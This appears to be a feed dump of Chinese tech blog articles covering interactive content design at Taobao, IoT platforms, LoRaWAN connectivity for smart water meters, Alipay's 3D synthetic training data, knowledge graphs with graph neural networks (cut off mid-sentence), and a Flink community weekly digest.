        通过小细节交互,产生额外的互动行为,给用户交互行为更多的正向反馈,增加好感度和互动趣味性,促使和鼓励用户进行更多的交互互动行为探索。

        ▐ 其他探索

        裸眼 3D:splitDepth 的两种经典形式:

        1.gif

        image.png

        图片重建,场景重建等

        image.png

        技术沉淀&总结展望

        通过在交互玩法方向上的探索学习,沉淀了一套基于 OpenGL 的交互组件库,为什么是 OpenGL ,而不是用原生native来实现这些效果?

        1、高性能,充分利用GPU的运算渲染能力。

        2、动态化,封装标准输入输出,脚本动态下发。

        通过不断的建设和完善,对外整体提供一套可扩展的交互组件库和产品数据分析能力。

        内容社交只是形式,晒才是用户的核心需求,通过交互创新,希望能够帮助内容社区扩展内容玩法和多元化,提升内容的表现力和趣味性,从交互细节打动用户,建立口碑;从交互玩法打造爆点,扩大影响(打造标志性交互:比如微信的摇一摇、探探的左划右划、QQ 的拖动消除气泡等)。让有质量有温度的内容带来更多的交互和留存, 希望能够有更多有价值的落地场景。

        We are hiring

        我们团队是手机淘宝内容消费与移动创作平台,主要业务是微淘、短视频以及社区内容发布。欢迎 Android/iOS 以及后端人才加入我们团队,一起创造更有趣的技术价值。

        请投递简历至邮箱:junqing.wjq@taobao.com

        ]]>
        什么是物联网平台? Fri, 02 May 2025 09:39:04 +0800 6.28.19-What-Is-an-IoT-Platform-1068x656-1.jpg

        物联网平台是物联网生态系统的重要组成部分,并且是一个快速增长的市场,预计到2023年将超过220亿美元。物联网平台为企业提供了巨大的价值,使其能够降低开发成本,加快启动并简化流程。但是,许多人仍不清楚物联网平台到底是什么,他们做什么以及企业何时使用它。

        在这篇文章中,我将提供一个简单的,非技术性的解释物联网平台。它们是什么,为什么有这么多,企业何时应该使用它们,以及在众多选择中进行选择时的重要考虑。

        那么什么是物联网平台呢

        要了解什么是物联网平台,您首先需要了解整个物联网系统中包含的内容。

        1)完整的物联网系统需要硬件,例如传感器或设备。这些传感器和设备从环境中收集数据(例如湿度传感器)或在环境中执行操作(例如浇灌农作物)。

        2)一个完整的物联网系统需要连接。硬件需要一种方式将所有这些数据传输到云端(例如发送湿度数据),或者需要一种方式从云端接收命令(例如现在给作物浇水)。这可以通过成熟的连接形式(如蜂窝、卫星或WiFi)来实现,或者可能需要更新的、以物联网为重点的连接选项(如LoRa)。

        3)完整的物联网系统需要软件。该软件托管在云中,负责分析其从传感器收集的数据并做出决策(例如,从湿度数据中得知刚刚下雨,然后告诉灌溉系统今天不开启)。

        4)最后,一个完整的物联网系统需要一个用户界面。为了使所有这些功能有用,用户需要一种与物联网系统进行交互的方式(例如,基于Web的应用程序,其仪表板可显示水分趋势并允许用户手动打开或关闭灌溉系统)。

        此外,与现有业务系统和数据流集成时,物联网的真正价值得以释放。因此,至关重要的是,将所有这些不同的组件有效且以可管理的方式捆绑在一起。

        在高层次上,物联网平台通过提供内置工具和功能,使企业、开发商和用户的物联网更简单、更便宜,为物联网系统的构建提供了一个先机。物联网平台有助于促进通信、数据流、设备管理和应用程序的功能。

        物联网平台存在于上述第3部分和第4部分。有了各种各样的硬件和不同的连接选项,就需要有一种让所有东西协同工作的方法。物联网平台有助于解决这个问题。

        物联网平台有助于

        1)连接硬件,例如传感器和设备

        2)处理不同的硬件和软件通信协议

        3)为设备和用户提供安全性和身份验证

        4)收集,可视化和分析传感器和设备收集的数据

        5)将以上所有内容与现有业务系统和其他Web服务集成

        为什么会有这么多的物联网平台

        平台并不是物联网所独有的,但是如果你看看其他领域,你会发现平台选项少了很多。Android和iOS是两个主要的移动平台,Windows和MacOS桌面平台,Xbox和Playstation游戏控制台平台。所有这些市场都只有少数几个主导者,我们为什么在物联网领域看到不同的情况呢?

        有人可能会说,亚马逊(AWS IoT Core),微软(Azure IoT Hub)和Google(Google IoT Core)已经占据主导地位。 但是,这些平台更侧重于基础架构级别,因此需要更多的专业知识和定制功能来为企业构建特定的IoT应用程序。 物联网平台通常建立在这些基础设施提供商的基础上,提供其他工具和服务以快速为企业构建物联网应用程序。

        为什么有这么多的物联网平台,这个问题的答案可能是:1)市场仍处于萌芽状态,主导者尚未出现;或者2)由于跨行业的物联网应用无限,将有不同的平台专注于不同种类的应用。像往常一样,这可能是两者的混合,但我相信第一个解释更有说服力。这使得考虑你使用哪一个变得更加重要,因为如果你选择的物联网平台没有成为主导者之一,那么将来可能会出现问题。

        您的企业何时应使用物联网平台

        因为物联网是一个系统体系,一个由设备和软件应用组成的网络,一个组织很少有跨所有相关领域的专业知识。由于物联网依赖于机械、电气、软件等不同的工程领域的正确综合,因此物联网平台可以帮助企业克服技术难题,而无需支付和管理专门从事各种工作的工程师团队。

        例如,您的企业可能真的很擅长构建硬件,并决定要使硬件更智能。您可以使用IoT平台来快速,更经济地启动并运行,而无需雇用软件开发人员来构建内部所有内容的昂贵且耗时的过程。

        但是,需要进行权衡。从长远来看,为您节省时间的物联网平台的价格可能更高,具体取决于它们的定价方式。这是因为他们会收取基于使用的费用和/或订阅费用,这些费用可能会随着时间的推移而增加。 但是,您仍然可以获得大大降低的前期成本(无需资本支出)的好处。


        原文链接 ]]>
        在物联网时代如何评估智能水表的连接选项 Fri, 02 May 2025 09:39:04 +0800 smart-water-meter-1.jpg

        联网智能电表的前景已经讨论了多年,许多公用事业单位已经使用移动读表解决方案多年,但只有少数公司开始认真研究固定网络连接的实施,特别是在北美和欧洲。无线连接被更广泛地视为一个关键的促成因素,但可用的技术范围很广,不同形式的计量有特定的要求,使它们更适合于特定的无线技术。


        LoRa联盟解释了为什么低功率广域网(LPWAN)具有水表项目所需的属性。

        根据ABI Research的研究,到2026年,全球水务公用事业网的数字化将导致全球安装4亿个智能水表。这说明了全球水表市场的巨大规模,并阐明了水表将收集和传输的大量数据。这些数据的管理将很复杂,并且涉及巨大的数据管理和分析功能。

        重要的是,这些都不是免费的。云计算资源和网络连接水表到管理系统的能力都是要付出代价的,供水企业需要仔细平衡所产生的价值和所发生的费用。

        这种基于设备的智能减少了发送大量无关信息的需要,也减少了无意义地存储和分析这些数据的需要。同时,如果使用水表来识别紧急问题,如泄漏或智能阀门因操作原因需要关闭,则需要通过可靠的网络安全、快速地优先处理和传达该信息和该命令,以便迅速采取行动。


        为什么水与其他公用事业不同

        供水的传统和关键需要是地方当局而不是国家当局的责任。尽管也有例外,特别是在非洲,美国、欧洲、印度和中国的水务公司都是高度本地化的企业。这使得水务行业比其他公用事业更加分散。

        供水工具在计量数据管理(MDM)平台中需要特定的功能,例如更灵活地扩大网络覆盖范围,并在水质量、泄漏检测和压力等领域集成到供水系统中。其他要求是电池寿命长、深度覆盖和安全性非常强,价格实惠。


        如何释放更高的效率

        早期的部署已经采用了自动抄表(AMR),使用移动无线电设备以步行或驾车方式收集数据,这在某些市场有时与AMI相混淆。这里的一个关键区别是,AMR解决方案只提供一组基本的仪表数据上行链路,几乎不提供实时报警,因此所收集的服务、分析和数据质量与AMI非常不同,AMI定期以最新信息传递更多的仪表数据和报警。

        AMI使公用事业公司可以从改进的数据粒度中获得更大的收益。例如,可以每隔十分钟收集一次数据,并每天进行传输。自来水公司可以通过需求分析,确定漏水以减少非收入水来改善运营。

        根据Birdz在法国大里昂Eau du Grand Lyon的智能水部署结果,这释放了巨大的价值,因为使用AMI的智能计量可以在四年内使公用事业的运行效率提高8%到10%。

        对于尚未过渡到远程监控模型的自来水公司,由于安装简便且速度快,LPWAN连接是显而易见的选择。对于那些偏爱AMR,FSK调制,ZigBee或Bluetooth的公用事业公司,它们是可选项,但需要大量的人力和车队投资。真正的希望在于自动化系统,该系统可以以最少的人工干预收集,传输,分析仪表数据并启用下行链路命令。


        在不同的LPWA网络内部

        LPWAN之所以被水务公司选中,是因为它结合了非常长的距离(以英里为单位)和深地下和室内渗透,以及长达20年的电池寿命。这一领域还有几个不同的LPWAN选项,如窄带物联网(NB-IoT),Sigfox和LoRaWAN,见下图。

        Comparison-NBIoT-LoRaWAN-Sigfox.jpg

        对于数据有效负载相对较低、很少需要低延迟或高质量服务的水表应用,显然Sigfox和LoRaWAN提供了水务行业所需的范围、电池寿命、覆盖能力、部署方便性和成本效率。这些技术之间有许多共同点,但存在差异,应该仔细考虑。



        广泛的开发者生态系统

        选择的另一个标准是技术和生态系统的成熟度,可以提供更多的应用程序和设备数量选择。


        公共LPWAN与私有LPWAN

        在公共,私人或混合商业模式之间进行选择的灵活性使自来水公司能够找到最合适的选择。与这些网络相关的大量部署和成熟的经验,使公用事业可以从其他公用事业的实际经验中评估公共LPWAN与私有LPWAN的收益,还可以了解建立,购买或共享,连接之间的优点。

        该决定将取决于供水公司的需求。如果他们重视拥有专用网络的控制权(如果其安装的基础覆盖了一个可管理的区域并且具有先期的资本支出能力),那么建立专用网络就很有意义。但是,对于某些自来水公司而言,网络配置的复杂性,产品选择的挑战以及网络管理的负担将更易于根据服务模型外包给专业的网络基础设施提供商。


        长期维护安全

        另一个重要因素是安全。水表需要安全,以保护用户信息和供水商免受欺诈活动的影响,但也许更重要的是,水表不提供网络罪犯进入企业网络的安全弱点。这一点很重要,因为并非所有LPWAN的设计都符合计量的低功耗,低实现复杂性和高可扩展性的一般设计标准,以及一方面针对网络运营商和针对最终用户应用的单独安全密钥。 另一个优点是相互认证,完整性保护和机密性。


        公用事业如何使用LoRaWAN

        有一种无需许可的LPWAN技术可以解决这里提到的所有问题 - LoRaWAN。解决方案已经被多个自来水公司使用,并且解决方案不断发展,现在存在许多成功部署的示例。例如,在西班牙,当地公用事业公司FACSA在Castellon de la Plana地区部署了20,000水表。该项目由IoTsens代表FACSA实施,FACSA管理着70多个城市的水控制和跟踪,为400万以上的居民提供服务,并通过LoRaWAN和通过运行的服务器将不同的水表连接到IoTsens云平台。

        实施过程从涉及600个智能水表的概念验证开始,并发展到当前全面部署的第二步,其中包括将20,000个水表连接到MultiTech的IP67户外LoRaWAN网关。 IoTsens解决方案由一种远程读取仪表的集成方法组成,该仪表可以近乎实时地远程自动收集数据。 而且,该系统可以使用一个通信平台与七个不同品牌的电表配合使用,以实现对其供应网络的快速有效管理。

        在澳大利亚,LoRaWAN的公共运营商NNNco已开始在黄金海岸地区部署用于连接170,000水表的网络,这说明了城市如何看到可用于IoT的技术的好处。

        另一个例子是,英国电信向区域供水公司诺森布里亚供水公司(Northumbrian water)提供其LoRaWAN网络。BT在该公司的网络中安装了大约150个传感器来收集有关水流、压力和质量等因素的数据。选择该技术是因为它能够长时间支持长距离电池供电的长寿命设备。


        数百万规模水表的部署

        大型电信运营商致力于LoRaWAN大型项目。Nova Veolia及其子公司Birdz是智慧城市能源消耗远程计量的先驱,他们正在与Orange合作,以帮助他们数字化Veolia在法国与水有关的服务。他们的目标是到2027年实现远程读取70%的水表的交易,届时将有超过300万水表连接到公共LoRaWAN网络,覆盖了30,000多个城市和法国大都市人口的95%。

        在美国,Neptune技术集团正在与本地网络提供商Senet和Comcast合作开发物联网解决方案,该解决方案旨在加速针对AMI的智慧城市项目。该解决方案将LoRaWAN网络与Neptune的水表和传感器结合在一起。


        未来考虑

        无线连接智能水表正在为全球的水供应商释放巨大的效率提升,并且随着许多地方的供水变得越来越受限,将需要对过量使用进行更严格的控制,限制泄漏以及可能需要更灵活地为水收费的机制。自来水公司和大型连通性合作伙伴承诺部署数百万个智能水表进行部署,这种部署从现在开始一直持续数年,使用寿命长达20年,这表明,选择连通性是一项长期的决定,需要水务公司和水表供应商仔细评估水表的设计针对未来可能的业务需求和挑战。

        在考虑到未来20年的情况下,这样做需要关注整个行业的趋势,而不是具体的短期问题。普遍的主题是需要使用仪表数据来防止浪费水,需要灵活地和更高的频率为水消耗付费,并且持续需要在成本上具有竞争力。

        选择可由水务公司长期控制的连接至关重要,或者至少选择一种技术和供应商,能够证明对水务行业的了解,并能够在水表的使用寿命期间提供设备软件和固件的空中升级。

        供水行业仍然高度分散,本地组织为客户管理供水。但是,市场上已经存在并且将继续进行大量的合并和收购活动,因此一个真正适合未来的智能计量解决方案将需要准备好与未来可能成为同一集团一部分的其他组织采用的不同系统和方法集成。

        从根本上说,水务公司需要一种成本效益高、健壮、可靠、永久、安全、易于安装的无线技术,以支持其业务的数字化转型,他们肯定会长期支持该技术及其合作伙伴。 LPWAN解决方案比蜂窝连接或RF专有技术更能打动水务行业的各个领域,并具有将它们定位为未来所需的连接的优势。


        原文链接 ]]>
        AI 训练数据不够用?支付宝 3D 合成数据方案揭秘 Fri, 02 May 2025 09:39:04 +0800 前言

        支付宝视觉售货柜项目是蚂蚁IOT的重要产品,用户通过人脸识别打开货柜门,挑选出想要购买的商品后关门,视觉识别算法通过对比开门前后的商品变化判断出用户购买了哪些商品,自动完成结算。“开门即取,关门即走”的体验给用户带来了极大方便。

        image.png

        图1 3D合成的百岁山矿泉水

        image.png

        图 2 支付宝视觉售货柜

        在本场景中,由于货品的高密度摆放,视觉货柜所拍摄的图像中商品之间遮挡非常严重,算法需要根据非常有限的图像片段判断是哪个商品。同时算法需要不断迭代以支撑源源不断的上新需求。这就需要我们不仅要采集足够多的数据以解决各种情况,而且要能在很短的时间内及时输出新品的训练数据,否则算法模型的泛化能力将大打折扣。3D合成数据技术为该项目提升了3倍以上的上新速度,降低了70%以上的成本,大大缩短了商品上新周期。同时避免了人工打标带来的质量不稳定,保障了训练数据的高质量,将因人工标注数据不可靠造成的风险降低了90%以上。图3是这个方案的流程图。Part1对商品建模,并赋予精确的纹理和材质,Part2对场景进行参数化建模仿真模拟各种各样可能出现的情况,Part3对场景的每个情况进行渲染获取最终训练数据。

        image.png

        图3 3D数据合成流程

        Part 1 全材质3D重建

        3D重建是利用技术手段对某个物体进行自动几何重建,以及纹理与材质的建模。这个过程有别于3D建模师手K的过程,可快速准确的恢复某个物体的真实几何和外观信息。3D重建需要重建的信息包括几何和外观两个部分。当前3D重建难以解决的物体是一些反光、透明等材质,尤其是各种材质杂糅在一起的物体。这个难题横旦在项目的初期,是无论后面走哪条技术路线都需要攻克的难题。

        项目组经过艰苦技术攻关自研了一套全材质3D建模方案,该方案结合了结构光扫描技术与基于图像特征匹配的多目几何重建技术,通过扫描和3D特征匹配的方法实现了全材质物体的3D重建,攻克了业界难题。使用全材质3D重建技术方案可在5-10分钟左右的时间精确重建一个商品的完整几何信息以及初步的外观信息。下面是若干个3D重建示例。

        image.png

        图4重建的3D模型

        在获得3D几何信息和初步外观信息之后,可根据实际商品的外观对3D模型不同部位赋予准确材质模型,这个过程称之为材质重建。一般来讲特定应用场景的商品材质种类是相对有限的,可根据不同业务场景建立一个特定材质库,根据3D模型的初步外观信息赋予相应的材质。实际上商品的外观与材质之间的专家经验是可以通过网络学习到的,一些研究工作如:开放环境材质估计、 形状与SV-BRDF估计 表明即便是在商品3D模型未知、采集环境开放的时候,我们仍然可以学习到材质模型与图像特征的对应关系。

        Part2 参数化场景

        我们通过全材质3D重建技术对场景进行建模,之后需要针对场景分布的各种可能性进行基于物理的模拟。在参数化场景部分,我们也需要对场景进行3D建模。场景的建模是对所渲染3D模型所处的环境进行3D建模,包括了场景3D重建和光源建模两个部分。场景3D重建的过程可以是自动化的使用如扫描仪,或者根据多目几何原理使用Structure-from-Motion进行三维重建。而光源重建则是对环境的光源进行建模,使得渲染出来的图像与实际拍摄的图像在外观上融合度较好。

        光照估计

        在渲染流程中,光照对渲染结果的影响至关重要,因此场景参数化需要对光照进行精确的描述。通常来讲,一个场景中的光源往往构成复杂,需要对直接光源的数量、色温、光源形状、乃至频谱范围等进行准确建模,如果场景中有类似液晶显示屏等光源,还需要针对光源的偏振态和频率进行建模,工作量很大且很难自动化。

        image.png

        图5 HDR合成与渲染结果

        这里我们采用了HDRI技术对光源进行重建,该方案是一个简单有效的光源重建和渲染技术,被广泛采用于电影制作中实现与真实场景融合度很高的渲染图像。该技术是一种基于图像的渲染技术,即采集并合成一张高动态范围图像作为光源进行渲染。可以看到这样的光源渲染出来的结果在高光表现方面较好。

        场景建模和物理碰撞检测引擎

        在视觉货柜项目中,我们所面料的场景是一个采用视觉识别技术完成商品交易的无人货柜。货柜需要频繁上新品,且商品之间遮挡严重。商家为了更有效的利用货柜会密集摆放很多商品,很多商品漏出来的画面非常有限,而视觉识别需要检测并识别出所有目标。这就要求视觉算法同学除了想法设法提高模型泛化能力之外,也需要准备充分多样性的数据,尽可能全的覆盖到各种遮挡关系,同时需要覆盖到每个可能出现的商品。

        在参数化场景的过程中,我们使用重力模型、随机力模型等对场景施加变化,并对场景中的各个物体进行碰撞检测和模拟,使得场景中的物体分布接近真实状态。下面这个视频示意如何对倒瓶等异常情况进行仿真模拟。

        image.png

        图6物理碰撞模拟

        Part3 照片级渲染

        3D合成数据方案的核心问题是怎样使得渲染出来的图像看起来像照片,而不是人眼看上去很真实就够了。我们需要渲染域与实拍域尽量接近才能真正起到训练数据的作用。一般意义上的渲染场景存在所谓too perfect的问题,也就是说渲染出来的图像看上去可能已经非常真实,与人眼实际看到的样子很接近,但却与摄像头实际拍摄的图片不同。作为喂给机器学习模型的训练数据,我们要求最终输出的图片需要复现这些瑕疵,实现所谓的照片级渲染(Photo-realistic rendering)。

        我们尝试了两种思路实现照片级渲染。一种思路是数据驱动的方法,先采集大量实拍图,之后通过GAN、域迁移、域自适应等方法将渲染域的图像迁移至实拍域。另一种思路是成像模拟的方法,在渲染流程前中后期分别模拟各种摄像头成像的影响,比如渲染过程中根据场景深度不同模拟散焦模糊,对渲染图像卷积同一模糊算子实现因低分辨率引起的镜头模糊等。

        image.png

        图7渲染图、域迁移图与实拍图

        图7为采用第一种思路实现的效果。将渲染图、迁移图和实拍图的对比,我们看到迁移图可以较好的实现与镜头相关的图像特征迁移效果,同时也会存在一些artifacts。此外,作为数据驱动的技术,域迁移的过程可控性较弱,获得好结果的前提是需要有与真实场景分布接近的实拍数据,导致数据采集成本较高。

        不同于上面的数据驱动算法,成像模拟采用纯模拟的方式合成训练数据,可控性强,且效果无天花板,但实现的技术较为复杂。我们采用电影级渲染引擎,并自研了光学摄像头模拟器,实现了一系列因镜头、光电传感器、以及ISP图像处理单元的模拟,消除了许多引起渲染域与实拍域差距的因素。下图为成像模拟实现的效果。

        image.png

        图8成像模拟结果

        写在最后

        在实践中,我们发现3D合成数据可以很好的解决许多计算机视觉任务,尤其是在一些无法很好获取ground truth的任务中具有非常好的落地前景。毕竟人工智能的目的是代替重复低效的人工,而如果用于训练的数据收集和标注仍然大量依赖人工的话,有时就不免落入到所谓“有多少人工就有多少智能“的尴尬境地。

        同时我们也必须看到目前的3D合成数据方案有诸多挑战。首先,不能完全依赖合成数据,总会有一些模拟不到的场景。其次,合成数据方案比较适合标注成本高的任务,对于一些标注成本不高的任务反而会增加成本,比如人脸检测、物体识别分类等任务。再次,一些技术难点,如低成本实现动态场景模拟等尚需进一步攻克。

        ]]>
        NLP如何突破深度学习的能力边界? Fri, 02 May 2025 09:39:04 +0800 1. 背景

        从本质上可以知道,语言就是一套逻辑符号,这意味着NLP处理的输入是高度抽象并且离散的符号,它跳过了感知的过程,而直接关注各种抽象概念,语义和逻辑推理。正是由于NLP涉及到高层语义、记忆、知识抽象以及逻辑推理等复杂的认知特性,导致基于数据驱动和统计学习的深度学习模型在NLP领域遇到了比较大的瓶颈。可以不夸张的说,NLP中复杂的认知特性已经完全超出了深度学习的能力边界。那如何打破这个魔咒,突破深度学习的能力边界,从而实现感知智能到认知智能的关键跨越呢? 这正是本文需要探索的原因所在,可能的一条出路就是通过对非结构化的数据(如业务的数据,产品的数据,行业领域的数据)进行整合和知识蒸馏,从而变成结构化的业务知识,结构化产品的知识,结构化的行业领域知识,在这些结构化的知识的基础上,再运用深度学习的模型进行推理,实现知识驱动,再进一步进阶到基于推理的驱动,这样就会形成结构化的知识推理引擎,从而提高整个智能系统的认知能力。那知识图谱就是将非结构的数据进行提炼归纳成结构化的知识的基础设施,图神经网络GNN就是在知识图谱基础设施上的推理模型。一句话概括就是:用不确定的眼光看待世界,再用确定的结构化知识来消除这种不确定性。

        2.知识图谱

        在介绍知识图谱之前,先得弄清楚什么是知识?知识是从大量有意义的数据中归纳总结出来的,是从有意义数据中压缩、提炼,从而形成有价值的规律。比如,天文学家日夜观察各种行星的位置,及对应的时间,这些都是观察的数据,但是牛顿从这些观察的数据中发现了万有引力定律,这就是知识。就像后来的天文学家运用牛顿的万有引力定律这个有价值的知识,发现了更多的未知星体和宇宙的奥秘,知识也将大大的加强智能系统的认知能力,也将使智能系统走向更深的未知领域。知识图谱就是对知识进行存储,表示,抽取,融合,推理的基础设施。

        建设一个知识图谱系统,需要包括:知识建模、知识获取、知识融合、知识存储、知识模型挖掘和知识应用6大部分:

        1、知识schema建模:构建多层级知识体系,将抽象的知识、属性、关联关系等信息,进行定义、组织、管理,转化成现实的知识库。

        2、知识抽取:将不同来源、不同结构的数据转化成图谱数据,包括结构化数据、半结构化数据(解析)、知识标引、知识推理等,保障数据的有效性和完整性。

        3、知识融合:由于知识图谱中的知识来源广泛,存在知识质量良莠不齐、来自不同数据源的知识重复、知识间的关联不够明确等问题,所以必须要进行知识的融合。知识融合是高层次的知识组织,使来自不同知识源的知识在同一框架规范下进行异构数据整合、消歧、加工、推理验证、更新等步骤,达到数据、信息、方法、经验以及人的思想的融合,形成高质量的知识库。

        4、知识存储:根据业务特点以及知识规模选择合适的存储方式将融合后的知识进行持久化保存。

        5、知识模型挖掘:知识的分布式表示学习,通过图挖掘相关算法进行知识推理出新知识,关联规则挖掘一些隐藏知识。

        6、知识应用:为已构建知识图谱提供图谱检索、知识计算、图谱可视化等分析与应用能力。并提供各类知识运算的API,包含图谱基础应用类、图结构分析类、图谱语义应用类、自然语言处理类、图数据获取类、图谱统计类等等。

        说这么多知识图谱的概念,可能这些概念有些抽象,这里给出一个实际的关务hscode领域的知识图谱的例子:

        image.png

        3.图神经网络GNN

        知识图谱将按照欧式空间分布的的文本、图片、时间序列等数据进行归纳融合,提炼出了按照非欧空间的图结构来存储结构化知识。图结构的复杂性对传统的深度学习算法提出了重大挑战,主要是因为非欧空间的图结构数据是不规则的。每个图都有无固定数量的节点,同时图中的每个节点都有不同数量的邻居节点,这就导致传统深度学习的卷积操作不能在图结构上有效的计算。同时,传统深度学习算法的一个核心假设是样本实例彼此独立,如两张关于猫的图片是完全独立的。然而,对于图结构数据来说,情况并非如此,图中的节点通过边的连接信息,使节点之间有机的组合起来,从而天然构造了功能强大的结构性feature。另外,业界公认的传统的深度学习的一大软肋是无法有效的进行因果推理,只能进行某种意义上的统计相关性推理,这就大大降低了智能系统的认知能力。针对上述传统深度学习算法在图结构数据和因果推理上的天然软肋,业界最近兴起了针对图结构数据建模和因果推理的新方向-图神经网络GNN。

        3.1 图卷积网络GCN基本原理

        图卷积神经网络GCN是目前最重要的图神经网络,本文落地的图神经网络也是基于图卷积神经网络GCN。图卷积神经网络GCN本质上是基于Message-Passing的信息传递式的通用框架,是由多层的图卷积操作组成,每一个图卷积层仅处理一阶邻域信息,通过叠加若干图卷积层可以实现多阶邻域的信息传递。基于Message-Passing的图神经网络有以下三个基本公式构成:

        image.png

        image.png

        image.png

        对应的符号解释如下:

        image.png

        几乎所有的GNN模型的底层运行机制都是基于上述三个公式,只不过不同的AGGREGATE,COMBINE,READOUT的实现策略不同,导致演化成了GCN,GAT,GraphSAGE等不同类型的图神经网络。

        3.2 图卷积网络GCN的AGGREGATE计算方式

        图卷积网络GCN中的AGGREGATE是将GCN的每一层通过邻接矩阵A和特征向量 ,相乘得到每个顶点邻居特征的汇总,然后再乘上一个参数矩阵 , 加上激活函数σ,做一次非线性变换得到聚合邻接顶点特征的矩阵 。基本公式如下:

        image.png

        1.image.png 是图卷积网络GCN中第l层的特征向量,其中 image.png
        是输入特征。

        2.image.png 是图卷积网络GCN每一层的参数矩阵。

        3.image.png 是图Graph的邻接矩阵加上每个图节点的自旋单位矩阵。

        4.image.png 是图Graph邻接矩阵 image.png 的度矩阵。

        上面是一般GCN的AGGREGATE策略,但是这样的AGGREGATE策略是的transductive learning的方式,需要把所有节点都参与训练才能得到图中节点的特征表示,无法快速得到新节点的特征表示。为了解决这个问题,参考文献[1]中的GraphSage利用采样(Sample)部分结点的方式进行学习,学习到K个聚合AGGREGATE函数,GraphSage的重点就放在了AGGREGATE函数的设计上。它可以是不带参数的]]> Flink Weekly 每周动态更新-2020/03/25 Fri, 02 May 2025 09:39:04 +0800 大家好,本文为 Flink Weekly 的第十期,由张成(Ace)整理,主要内容包括:近期社区开发进展,邮件问题答疑以及 Flink 最新社区动态及技术文章推荐。

        社区开发进展

        ■ [release] 关于发布 Flink 1.10.1 的讨论正在火热进行,最新消息请参考 Yu Li 发起的讨论。
        [1]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-Releasing-Flink-1-10-1-td38689.html

        ■ [Checkpoint] Arvid Heise 发起 FLIP-76 的投票已经通过。FLIP-76 提出了一种基于检查点屏障的非阻塞对齐执行检查点的方法。相关好处有:

        1. 即使某些 Operator 仍在等待正在输入通道上的检查点屏障,上游仍可以继续产生数据。
        2. 即使对于具有单个输入通道的 Operator,在整个执行图中的检查点次数也大大减少。
        3. 即使在不稳定的环境中,最终用户也将看到更多的进展,因为更及时的检查点将避免过多的重复计算。
        4. 促进更快地 rescaling。

        更多信息参考:
        [2]https://cwiki.apache.org/confluence/display/FLINK/FLIP-76%3A+Unaligned+Checkpoints
        [3]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-FLIP-76-Unaligned-checkpoints-td33651.html

        ■ [Connectors/Filesystem] 删除 BucketingSink。BucketingSink 已经在 Flink 1.9 版本标记为过期。Flink 有一个新的 StreamingFileSink 替代 BucketingSink。目前 StreamingFileSink 的 scala 版本存在 bug。

        [4]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/jira-Created-FLINK-16616-Drop-BucketingSink-td38950.html
        [5]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-Drop-Bucketing-Sink-td38830.html#a38831
        [6]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/jira-Created-FLINK-16684-StreamingFileSink-builder-does-not-work-with-Scala-td39109.html

        ■ [Table API & SQL] Jingsong Li 发起了引入 StatefulSequenceSource 的讨论。这个能够方便用户更好的进行测试 SQL。最终讨论决定在 Table 支持 DataGenerator 的 source、Print 的 sink 和blackhole 的 sink。

        [7]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-Introduce-TableFactory-for-StatefulSequenceSource-td39116.html

        ■ [sql] Timo 分享了一个关于新的 TableSource 和 TableSink 接口的提案(FLIP-95)。Jark、Dawid、Aljoscha、Kurt、Jingsong 等参考了讨论。其目标是简化当前的接口架构,以支持变更日志源(FLIP-105)和删除对 DataStream API 和 planner 的依赖。

        [8]https://cwiki.apache.org/confluence/display/FLINK/FLIP-95%3A+New+TableSource+and+TableSink+interfaces

        ■ [hadoop]跟进 Stephan 和 Till 的讨论。Sivaprasanna 分享了 Hadoop 相关实用程序组件的概述,以开始讨论将其移动到单独的模块中 “flink-hadoop-utils”。

        [9]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/SerializableHadoopConfiguration-td38371.html
        [10]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-Introduce-a-new-module-flink-hadoop-utils-td39107.html

        用户问题

        ■ 叶贤勋在使用 Hive Source 的时候遇到了 Kerberos 认证的问题,社区同学进行了相关的讨论和建议,感兴趣的同学可以参考如下链接:
        [11]http://apache-flink.147419.n8.nabble.com/Hive-Source-With-Kerberos-td1688.html

        ■ hiliuxg 在社区提问 Flink SQL 如何支持每隔 5 分钟触发当日零点到当前 5 分钟的聚合计算。Jark Wu 和 Tianwang Li 进行了相关解答。
        [12]http://apache-flink.147419.n8.nabble.com/flink-sql-5-5-td2011.html

        ■ hiliuxg 在社区提问 Flink SQL COUNT DISTINCT 性能优化。Benchao Li、田志声、Lucas Wu、Lake Shen 展开了一些讨论,有兴趣的同学可以参考如下链接:

        [13]http://apache-flink.147419.n8.nabble.com/flink-sql-td2012.html

        ■ 王志华 在社区提问 Flink DDL 如何支持自定义 Source/Sink 表。社区同学在邮件中进行了详细的回答。
        [14]http://apache-flink.147419.n8.nabble.com/ddl-td1959.html

        ■ 111 在社区提问 Flink SQL1.10 大表 join 如何优化?Jark Wu、Kurt Young 和 Jingsong Lee 进行了详细的解答。目前 Flink SQL 的并行度(非 Source )并不是自动推断出来的,需要通过设置table.exec.resource.default-parallelism,详细的内容参考:

        [15]http://apache-flink.147419.n8.nabble.com/Flink-SQL1-10-join-td2044.html
        [16]http://apache-flink-user-mailing-list-archive.2336050.n4.nabble.com/Flink-SQL-How-can-i-set-parallelism-in-clause-of-group-by-td33736.html

        ■ Aaron Levin 在社区提问 如何能够做到修改任务的并发,然后从 checkpoint 启动任务。Piotr Nowojski、Till Rohrmann 参与了相关讨论。内容涉及到 unaligned checkpoints (FLIP-76) 对savepoint 和 checkpoint 的影响。同时 Lake Shen 也提出了类似的问题。有兴趣的同学可以参考:

        [17]http://apache-flink-user-mailing-list-archive.2336050.n4.nabble.com/Expected-behaviour-when-changing-operator-parallelism-but-starting-from-an-incremental-checkpoint-td33608.html
        [18]http://apache-flink-user-mailing-list-archive.2336050.n4.nabble.com/Cancel-the-flink-task-and-restore-from-checkpoint-can-I-change-the-flink-operator-s-parallelism-td33613.html

        ■ Jiawei Wu 在社区提问“如何使用 Flink SQL 计算 按照供应商分组同时入库时间大于 15 天的库存数据?”,有兴趣的同学可以参考:
        [19]http://apache-flink-user-mailing-list-archive.2336050.n4.nabble.com/Use-flink-to-calculate-sum-of-the-inventory-under-certain-conditions-td33323.html

        ■ Vinod Mehra 在社区提出了一个关于 Join 相关的问题。这个问题比较复杂,Timo Walther 进行了相关解答。里面涉及到了一些如何进行 Flink SQL 问题的排查。有兴趣的同学可以参考:

